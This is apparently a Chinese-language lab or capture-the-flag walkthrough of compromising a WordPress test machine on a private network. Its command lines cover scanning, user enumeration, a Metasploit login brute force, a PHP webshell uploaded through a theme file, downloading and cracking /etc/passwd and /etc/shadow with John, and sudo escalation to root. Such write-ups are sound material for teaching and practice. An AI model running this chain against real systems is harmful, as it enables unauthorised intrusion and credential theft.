攻擊機:192.168.32.152
靶機:192.168.32.164
首先nmap,nikto -host ,dirb 掃描開放帶端口,探測敏感文件,掃描目錄
開放了21,22,80端口,看到一個敏感目錄secret
打開發現訪問里面界面會跳轉
vitcsec,但是打不開,設置一下host
gedit /etc/hosts
即可直接訪問網頁中內容
打開login
我們可以用metasploit對此進行暴力破解
use auxiliary/scanner/http/wordpress_login_enum
set username XX
set passfile /usr/share/wordlists/dirb/common.txt
set targeturi /secret/
set rhosts 192.168.32.164
exploit
我們暴力破解前不知道user,我們可以先用wpscan確認一下user
wpscan --url www.vtcsec.com/secret/ --enumerate u
確認user為admin
利用msfconsole開始暴力破解:
跑出密碼也為admin,登錄上去,找到上傳點,制作一個phpwebshell,上傳上去
再執行此shell
http://192.168.32.164/secret/wp-content/themes/twentyseventeen/archive.php
成功拿到shell!
此時再想辦法提權
這里我們可以用返回shell下載passwd和shadow文件,再把文件轉換為cracked用john破解出密碼
download /etc/passwd
download /etc/shadow
unshadow passwd shadow > cracked
john cracked
得到用戶marlinspike,密碼也是marlinspike
再返回shell界面,開啟終端 python -c "import pty;pty.spawn('/bin/bash')"
提權
su -marlinspile
sudo -l
sudo bash 最中得到root權限